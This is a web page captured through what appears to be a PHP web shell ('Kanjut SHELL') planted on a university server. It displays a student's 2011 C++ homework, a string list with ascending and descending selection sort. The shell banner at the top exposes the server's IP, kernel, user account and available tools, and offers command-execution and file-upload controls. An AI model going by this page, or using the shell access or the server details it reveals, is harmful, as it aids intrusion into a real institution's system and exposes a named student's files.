Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.237.231
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/snbittner/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/snbittner/hw4_212.cpp
//	CS212 CP II Assignment IV
//	Due: Mon. March 7, 2011
//	
//	File Name: hw4_212.cpp
//	Author: Stephanie Bittner
//	Instructor: Dr. Wang
//
//	Compile: g++ hw4_212.cpp
//	Run: ./a.out
//	Goal: The program will read strings from a file and put them in 
//		the list:then output the strings.
//

#include <iostream>
using namespace std;

const int MAX = 50;

class List
{
	string data[MAX];
	int length;
public:
	List()  { length = 0; }
	int Length() const
	{	return length;  }
	void  Insert(string item)
	{	data[length] = item;
		length ++;
	}
	void Print() const
	{	for(int i=0; i<length; i ++)
			cout << data[i] << "  ";
			cout << "\n";
	}
	bool IsPresent(string item) const 
	{	bool found = false;
		for(int i=0; i<length && !found; i++)
		if(data[i] == item) found = true;
	return found;
	}
	void SelectionSort()
	{	string temp;
		int passCount;
		int minIndex;
		for(passCount = 0; passCount<length-1; passCount++)
		{	minIndex = passCount;
			for( int k=passCount+1; k<length; k++)
			{	if( data [minIndex] > data[k] ) minIndex=k; }
			temp = data[minIndex];   //swap
			data[minIndex] = data[passCount];
			data[passCount] = temp;
		}
	}
	   void SelectionSort_R()
        {       string temp;
                int passCount;
                int maxIndex;
                for(passCount = 0; passCount<length-1; passCount++)
                {       maxIndex = passCount;
                        for( int k=passCount+1; k<length; k++)
                        {       if( data [maxIndex] < data[k] ) maxIndex=k; }
                        temp = data[maxIndex];   //swap
                        data[maxIndex] = data[passCount];
                        data[passCount] = temp;
                } 
        }

};
void menu()
{ 	
	cout << "	String List Operations\n";
	cout << "========================\n";  
	cout << "I	Insert a string to the list.\n";
	cout << "F	Find out if the item is in the list\n";
	cout << "S	Sort the list to Ascending order.\n";
	cout << "R	Sort the list to Descending order.\n";
	cout << "D	Display the string list.\n";
	cout << "Q	Quit the operation.\n";
	cout << "------------------------\n";
	cout << "Which operation do you choose? ";  
}

int main()
{
	List real;	
	char op;
	string item;

	menu();
	cin >> op;	

	while(toupper(op) != 'Q')
	{
		if (toupper(op) == 'I')
		{	cout << "Input the item: ";
			cin >> item;
			real.Insert(item);
			cout << "The list is:  ";
			real.Print();
		}
		else if(toupper(op) == 'F')
		{	cout << "Input an item to be found: ";
			cin >> item;
			if(real.IsPresent(item))
				cout << item << " is in the list.\n";
			else
				cout << item << " is not in the list.\n";
		}
		else if(toupper(op) == 'S')
		{	real.SelectionSort();
			cout << "The list is: ";
			real.Print();
		}
		else if(toupper(op) == 'R')
		{	real.SelectionSort_R();
			cout << "The list is: ";
			real.Print();
		}
		else if(toupper(op) == 'D')
		{	cout << "The list consists of: ";
			real.Print();
		}
 
		menu();  
        	cin >> op;

	}
	return 0;
}


Stv3n404 - 2023